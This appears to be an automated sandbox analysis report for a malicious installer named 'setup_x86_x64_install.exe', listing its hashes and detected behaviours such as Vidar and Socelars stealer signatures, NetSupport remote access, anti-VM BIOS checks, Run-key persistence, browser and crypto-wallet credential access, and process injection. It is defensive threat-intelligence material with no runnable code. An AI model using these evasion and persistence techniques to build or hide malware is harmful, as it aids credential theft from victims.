Overview
overview
10Static
static
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows7_x64
setup_x86_...ll.exe
windows7_x64
10setup_x86_...ll.exe
windows11_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10setup_x86_...ll.exe
windows10_x64
10Resubmissions
02-12-2021 07:35
211202-je6zgsfge4 1010-09-2021 20:31
210910-za2rzaaeh3 1010-09-2021 19:40
210910-ydvmdsdffp 1010-09-2021 12:06
210910-n9s4bsdbep 1010-09-2021 05:37
210910-gbjcxahdh2 1009-09-2021 22:16
210909-17av7aghb7 1009-09-2021 22:12
210909-14mqksgha9 1009-09-2021 22:12
210909-14l42sgha8 1009-09-2021 22:11
210909-14e1qsgha7 1009-09-2021 22:11
210909-138lnacacn 10Analysis
-
max time kernel
1804s -
max time network
1816s -
platform
windows11_x64 -
resource
win11 -
submitted
09-09-2021 22:16
Static task
static1
Behavioral task
behavioral1
Sample
setup_x86_x64_install.exe
Resource
win7-jp
Behavioral task
behavioral2
Sample
setup_x86_x64_install.exe
Resource
win7-fr
Behavioral task
behavioral3
Sample
setup_x86_x64_install.exe
Resource
win7v20210408
Behavioral task
behavioral4
Sample
setup_x86_x64_install.exe
Resource
win7-de
Behavioral task
behavioral5
Sample
setup_x86_x64_install.exe
Resource
win11
Behavioral task
behavioral6
Sample
setup_x86_x64_install.exe
Resource
win10v20210408
Behavioral task
behavioral7
Sample
setup_x86_x64_install.exe
Resource
win10-jp
Behavioral task
behavioral8
Sample
setup_x86_x64_install.exe
Resource
win10-fr
Behavioral task
behavioral9
Sample
setup_x86_x64_install.exe
Resource
win10-en
Behavioral task
behavioral10
Sample
setup_x86_x64_install.exe
Resource
win10-de
General
-
Target
setup_x86_x64_install.exe
-
Size
4.3MB
-
MD5
6d18c8e8ab9051f7a70b89ff7bb0ec35
-
SHA1
265311e2afd9f59e824f4b77162cf3dfa278eb7e
-
SHA256
8fe6c86b038ce91a991fe6eb8a9b323bb37b554ff6b4e5c18de3fe52d4aedf6d
-
SHA512
249bf79dc90d4662b942c7eed2a7b7816b749f6d5f7bc190bba05f826fa143d0b44f58054d8649b8626884c5fcbd1cea8abd625dc701d44b7aaac84fc74e47ff
Malware Config
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5696 4884 rundll32.exe 17 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5208 4884 rundll32.exe 17 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3208 4884 rundll32.exe 17 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5320 4884 rUNdlL32.eXe 17 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6188 4884 rundll32.exe 17 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7988 4884 rundll32.exe 17 -
Socelars Payload 2 IoCs
resource yara_rule behavioral5/files/0x000100000002b1be-176.dat family_socelars behavioral5/files/0x000100000002b1be-198.dat family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 52 IoCs
description pid Process procid_target PID 5288 created 3104 5288 WerFault.exe 103 PID 5500 created 2540 5500 WerFault.exe 184 PID 5560 created 2468 5560 WerFault.exe 108 PID 5668 created 2352 5668 WerFault.exe 104 PID 5768 created 1820 5768 WerFault.exe 110 PID 5984 created 5820 5984 WerFault.exe 136 PID 1008 created 6104 1008 WerFault.exe 143 PID 5992 created 5792 5992 WerFault.exe 139 PID 2256 created 5144 2256 WerFault.exe 146 PID 3688 created 6016 3688 WerFault.exe 207 PID 5800 created 4540 5800 WerFault.exe 148 PID 3284 created 3656 3284 explorer.exe 206 PID 3968 created 5972 3968 WerFault.exe 163 PID 5484 created 3552 5484 WerFault.exe 114 PID 5980 created 808 5980 CJKHHbEgQbFEmjzrU8X9yyPo.exe 156 PID 5024 created 5448 5024 PING.EXE 189 PID 2696 created 5076 2696 WerFault.exe 246 PID 4708 created 5396 4708 WerFault.exe 258 PID 1652 created 1240 1652 WerFault.exe 275 PID 5484 created 5152 5484 WerFault.exe 291 PID 5364 created 2888 5364 WerFault.exe 295 PID 1092 created 4928 1092 WerFault.exe 317 PID 6724 created 7024 6724 Rimasta.exe.com 358 PID 5344 created 3448 5344 WerFault.exe 460 PID 2828 created 716 2828 Process not Found 380 PID 5712 created 5288 5712 WerFault.exe 365 PID 6304 created 5080 6304 WerFault.exe 362 PID 3424 created 6072 3424 WerFault.exe 367 PID 5608 created 6624 5608 WerFault.exe 363 PID 6928 created 4772 6928 Process not Found 398 PID 4572 created 4372 4572 WerFault.exe 440 PID 5652 created 1720 5652 WerFault.exe 370 PID 7108 created 5200 7108 WerFault.exe 433 PID 7124 created 2744 7124 WerFault.exe 448 PID 6288 created 6828 6288 WerFault.exe 446 PID 736 created 2236 736 WerFault.exe 495 PID 728 created 944 728 WerFault.exe 480 PID 7252 created 6580 7252 WerFault.exe 494 PID 7936 created 6556 7936 WerFault.exe 515 PID 4880 created 4316 4880 WerFault.exe 612 PID 6536 created 6656 6536 WerFault.exe 490 PID 1812 created 6704 1812 WerFault.exe 513 PID 6920 created 2628 6920 WerFault.exe 520 PID 6720 created 4168 6720 WerFault.exe 466 PID 8036 created 8052 8036 WerFault.exe 552 PID 7568 created 1464 7568 WerFault.exe 486 PID 7508 created 7344 7508 WerFault.exe 560 PID 4012 created 132 4012 WerFault.exe 476 PID 5348 created 6752 5348 Cleaner.exe 588 PID 504 created 2612 504 msedge.exe 600 PID 6876 created 3092 6876 WerFault.exe 604 PID 904 created 6088 904 WerFault.exe 606 -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral5/memory/2352-329-0x0000000004790000-0x0000000004861000-memory.dmp family_vidar -
resource yara_rule behavioral5/files/0x000100000002b1b1-153.dat aspack_v212_v242 behavioral5/files/0x000100000002b1b1-156.dat aspack_v212_v242 behavioral5/files/0x000100000002b1b3-159.dat aspack_v212_v242 behavioral5/files/0x000100000002b1b3-160.dat aspack_v212_v242 behavioral5/files/0x000100000002b1b0-154.dat aspack_v212_v242 behavioral5/files/0x000100000002b1b0-161.dat aspack_v212_v242 behavioral5/files/0x000100000002b1b0-162.dat aspack_v212_v242 -
Blocklisted process makes network request 51 IoCs
flow pid Process 55 1576 schtasks.exe 155 2452 MsiExec.exe 156 2452 MsiExec.exe 157 2452 MsiExec.exe 158 2452 MsiExec.exe 159 2452 MsiExec.exe 160 2452 MsiExec.exe 161 2452 MsiExec.exe 162 2452 MsiExec.exe 164 2452 MsiExec.exe 165 2452 MsiExec.exe 166 2452 MsiExec.exe 167 2452 MsiExec.exe 168 2452 MsiExec.exe 169 2452 MsiExec.exe 170 2452 MsiExec.exe 172 2452 MsiExec.exe 173 2452 MsiExec.exe 174 2452 MsiExec.exe 177 2452 MsiExec.exe 178 2452 MsiExec.exe 179 2452 MsiExec.exe 180 2452 MsiExec.exe 181 2452 MsiExec.exe 183 2452 MsiExec.exe 184 2452 MsiExec.exe 185 2452 MsiExec.exe 186 2452 MsiExec.exe 187 2452 MsiExec.exe 188 2452 MsiExec.exe 190 2452 MsiExec.exe 191 2452 MsiExec.exe 194 2452 MsiExec.exe 195 2452 MsiExec.exe 196 2452 MsiExec.exe 197 2452 MsiExec.exe 198 2452 MsiExec.exe 200 2452 MsiExec.exe 201 2452 MsiExec.exe 202 2452 MsiExec.exe 203 2452 MsiExec.exe 204 2452 MsiExec.exe 205 2452 MsiExec.exe 206 2452 MsiExec.exe 234 6156 MsiExec.exe 235 6156 MsiExec.exe 236 6156 MsiExec.exe 237 6156 MsiExec.exe 238 6156 MsiExec.exe 592 6932 powershell.exe 594 6932 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\SET175C.tmp DrvInst.exe File created C:\Windows\System32\drivers\SET175C.tmp DrvInst.exe File opened for modification C:\Windows\System32\drivers\tap0901.sys DrvInst.exe File opened for modification C:\Windows\system32\drivers\etc\hosts installer.exe -
Executes dropped EXE 64 IoCs
pid Process 3964 setup_installer.exe 4640 setup_install.exe 1868 Thu219d5fe8cf316.exe 1820 Thu21a1ef054cac78a.exe 2468 Thu21624565bb917a.exe 2540 Thu2164f292a11ce.exe 1296 Thu21b9847cb6727.exe 3212 Thu21b93295136197.exe 4552 Thu214aaca5625.exe 4548 Thu21568b0ab8.exe 2960 Thu2156de5489c19.exe 3104 Thu21df5caa1b78de6.exe 2352 Thu214ce31cede21.exe 3644 Thu2102ff6cfe07c.exe 4632 Thu214aaca5625.tmp 3060 Thu21b93295136197.tmp 2500 46807GHF____.exe 3552 8196733.exe 5000 tmpFB52_tmp.exe 4880 3421728.exe 2088 LzmwAqmV.exe 5420 Setup.exe 5440 5693422.exe 5584 Chrome 5.exe 5808 PublicDwlBrowser1100.exe 5792 3402997.exe 6016 services64.exe 6104 setup.exe 4264 6635012.exe 5144 udptest.exe 4540 DVORAK.exe 2516 WinHoster.exe 3644 setup_2.exe 5972 1928742.exe 5844 Impedire.exe.com 6028 Adorarti.exe.com 1800 1501577.exe 784 3002.exe 808 7393104.exe 5360 setup_2.tmp 4336 jhuuee.exe 1380 3002.exe 1576 schtasks.exe 5348 setup_2.exe 5840 UltraMediaBurner.exe 2128 setup_2.tmp 2544 Setup.exe 5788 cmd.exe 5608 Adorarti.exe.com 5436 7258913.exe 444 stats.tmp 5448 1930627.exe 5324 Adorarti.exe.com 6000 gZ9~4qZ~O.EXE 5532 BSKR.exe 6016 services64.exe 3972 cmd.exe 5480 ultramediaburner.exe 3964 ultramediaburner.tmp 2156 Kahushaefopi.exe 4056 WerFault.exe 5184 Tuworykimy.exe 5840 UltraMediaBurner.exe 2092 Mortician.exe -
Checks BIOS information in registry 2 TTPs 40 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7258913.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7258913.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MSIB3F5.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 7670901.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion gnUQJrjsin5B4SuLkCOWd9fe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion B430.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6635012.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion GXB0r0nLTSKglFJZQMYVe4HY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MFW41Xy4TwtmV0vEkY0BFiId.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MSIB417.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion IQbCspMBmg4o_590YQfHZbkr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4896.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4896.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5693422.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2SyYFrtsnhk5F2YhyFxQm1HU.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MSIBFB5.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MFW41Xy4TwtmV0vEkY0BFiId.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5894410.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 30B6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MSIBF94.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion GXB0r0nLTSKglFJZQMYVe4HY.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion tk8rRu89mOJWyjw1flTJIOnh.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5894410.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2SyYFrtsnhk5F2YhyFxQm1HU.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6635012.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 769050.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion IQbCspMBmg4o_590YQfHZbkr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 30B6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MSIBFB5.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5693422.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 769050.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion B430.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion tk8rRu89mOJWyjw1flTJIOnh.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MSIB417.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 7670901.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion gnUQJrjsin5B4SuLkCOWd9fe.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MSIBF94.tmp Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MSIB3F5.tmp -
Loads dropped DLL 64 IoCs
pid Process 4640 setup_install.exe 4640 setup_install.exe 4640 setup_install.exe 4640 setup_install.exe 4640 setup_install.exe 4640 setup_install.exe 3060 Thu21b93295136197.tmp 3060 Thu21b93295136197.tmp 4632 Thu214aaca5625.tmp 5820 rundll32.exe 5360 setup_2.tmp 2128 setup_2.tmp 444 stats.tmp 444 stats.tmp 3656 msedge.exe 4328 regsvr32.exe 4328 regsvr32.exe 2092 Mortician.exe 5624 installer.exe 5624 installer.exe 5624 installer.exe 4800 MsiExec.exe 4800 MsiExec.exe 5152 rundll32.exe 2888 rundll32.exe 5640 IBInstaller_74449.tmp 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 2452 MsiExec.exe 5624 installer.exe 2452 MsiExec.exe 2452 MsiExec.exe 4764 MsiExec.exe 4764 MsiExec.exe 2452 MsiExec.exe 5096 svrwebui.exe 5096 svrwebui.exe 5096 svrwebui.exe 5096 svrwebui.exe 5096 svrwebui.exe 5096 svrwebui.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6088 5F2D.exe 6944 mask_svc.exe 6944 mask_svc.exe 6944 mask_svc.exe 6944 mask_svc.exe 6944 mask_svc.exe 6944 mask_svc.exe 6088 5F2D.exe 6088 5F2D.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral5/files/0x000300000002b1e5-321.dat themida behavioral5/files/0x000300000002b1e5-336.dat themida behavioral5/memory/5440-358-0x0000000000170000-0x0000000000171000-memory.dmp themida behavioral5/memory/4264-369-0x00000000009F0000-0x00000000009F1000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 13 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run aipackagechainer.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\ aipackagechainer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" schtasks.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce 5HJnSrVGMsxubcpky3bfQNhm.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Cleaner_Installation.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Cleaner = "C:\\Users\\Admin\\AppData\\Roaming\\Cleaner\\Cleaner.exe --anbfs" Cleaner_Installation.exe Set value (str) \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 3421728.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" tmpFB52_tmp.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\WindowsPowerShell\\Xalimonoso.exe\"" installer.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce schtasks.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" 5HJnSrVGMsxubcpky3bfQNhm.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce tmpFB52_tmp.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5693422.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 769050.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5894410.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2SyYFrtsnhk5F2YhyFxQm1HU.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA gnUQJrjsin5B4SuLkCOWd9fe.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6635012.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7258913.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MFW41Xy4TwtmV0vEkY0BFiId.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MSIB417.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IQbCspMBmg4o_590YQfHZbkr.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 30B6.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA B430.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MSIBF94.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MSIBFB5.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA GXB0r0nLTSKglFJZQMYVe4HY.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA tk8rRu89mOJWyjw1flTJIOnh.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MSIB3F5.tmp Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 7670901.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4896.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\R: msedge.exe File opened (read-only) \??\V: Cleaner_Installation.exe File opened (read-only) \??\N: MSIEXEC.EXE File opened (read-only) \??\U: installer.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: MSIEXEC.EXE File opened (read-only) \??\I: MSIEXEC.EXE File opened (read-only) \??\G: installer.exe File opened (read-only) \??\S: installer.exe File opened (read-only) \??\W: installer.exe File opened (read-only) \??\M: Cleaner_Installation.exe File opened (read-only) \??\Z: MSIEXEC.EXE File opened (read-only) \??\P: MSIEXEC.EXE File opened (read-only) \??\T: MSIEXEC.EXE File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msedge.exe File opened (read-only) \??\Z: msedge.exe File opened (read-only) \??\Z: Cleaner_Installation.exe File opened (read-only) \??\H: MSIEXEC.EXE File opened (read-only) \??\Y: installer.exe File opened (read-only) \??\E: msedge.exe File opened (read-only) \??\X: msedge.exe File opened (read-only) \??\Y: msedge.exe File opened (read-only) \??\H: installer.exe File opened (read-only) \??\N: msedge.exe File opened (read-only) \??\F: Cleaner_Installation.exe File opened (read-only) \??\L: installer.exe File opened (read-only) \??\U: Cleaner_Installation.exe File opened (read-only) \??\B: installer.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\B: Cleaner_Installation.exe File opened (read-only) \??\H: Cleaner_Installation.exe File opened (read-only) \??\K: MSIEXEC.EXE File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\F: msedge.exe File opened (read-only) \??\N: Cleaner_Installation.exe File opened (read-only) \??\F: MSIEXEC.EXE File opened (read-only) \??\F: MSIEXEC.EXE File opened (read-only) \??\Q: MSIEXEC.EXE File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\J: msedge.exe File opened (read-only) \??\G: Cleaner_Installation.exe File opened (read-only) \??\S: Cleaner_Installation.exe File opened (read-only) \??\B: MSIEXEC.EXE File opened (read-only) \??\Q: installer.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: Cleaner_Installation.exe File opened (read-only) \??\Y: MSIEXEC.EXE File opened (read-only) \??\B: MSIEXEC.EXE File opened (read-only) \??\G: MSIEXEC.EXE File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: Cleaner_Installation.exe File opened (read-only) \??\G: MSIEXEC.EXE File opened (read-only) \??\R: MSIEXEC.EXE File opened (read-only) \??\W: MSIEXEC.EXE File opened (read-only) \??\V: installer.exe File opened (read-only) \??\L: msedge.exe File opened (read-only) \??\A: MSIEXEC.EXE File opened (read-only) \??\S: MSIEXEC.EXE File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\R: Cleaner_Installation.exe File opened (read-only) \??\L: MSIEXEC.EXE -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 11 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 323 ipinfo.io 473 ipinfo.io 3 ipinfo.io 24 ipinfo.io 61 ipinfo.io 231 ipinfo.io 398 ipinfo.io 3 ip-api.com 259 ipinfo.io 290 ip-api.com 345 ipinfo.io -
Drops file in System32 directory 16 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\SET11B0.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\SET11B0.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\SET11AF.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\tap0901.sys DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\SET11B1.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\SET11B1.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c} DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{13a491de-9538-4441-9c81-1b460a5f374c}\SET11AF.tmp DrvInst.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
pid Process 5440 5693422.exe 4264 6635012.exe 5436 7258913.exe 5700 mask_svc.exe 6668 mask_svc.exe 6944 mask_svc.exe 6696 MFW41Xy4TwtmV0vEkY0BFiId.exe 6660 tk8rRu89mOJWyjw1flTJIOnh.exe 1556 769050.exe 6192 5894410.exe 4396 7670901.exe 2832 gnUQJrjsin5B4SuLkCOWd9fe.exe 6616 IQbCspMBmg4o_590YQfHZbkr.exe 7788 30B6.exe 6632 msedge.exe 7812 4896.exe -
Suspicious use of SetThreadContext 14 IoCs
description pid Process procid_target PID 5532 set thread context of 4056 5532 BSKR.exe 442 PID 6016 set thread context of 3284 6016 services64.exe 269 PID 5444 set thread context of 2672 5444 HOea4LdGAUbYif7rbpYV6jaH.exe 394 PID 1036 set thread context of 5300 1036 regsvr32.exe 400 PID 6620 set thread context of 5248 6620 8P7YTgQF1EPIT_dUATDbPSWG.exe 618 PID 5652 set thread context of 3060 5652 WerFault.exe 435 PID 4464 set thread context of 6592 4464 VKPcsEqbvZDAvGffunjgcDEU.exe 507 PID 5980 set thread context of 6728 5980 CJKHHbEgQbFEmjzrU8X9yyPo.exe 517 PID 1188 set thread context of 7104 1188 UIQQUPeoe7rIIBLw6ybwAOpp.exe 529 PID 6584 set thread context of 7284 6584 B00A.exe 533 PID 3912 set thread context of 7492 3912 80FA.exe 535 PID 3152 set thread context of 8132 3152 5jRNOktaE5TMChl4IoJaY5he.exe 554 PID 7836 set thread context of 4144 7836 DE5F.exe 595 PID 1500 set thread context of 3848 1500 Impedire.exe.com 642 -
Drops file in Program Files directory 64 IoCs
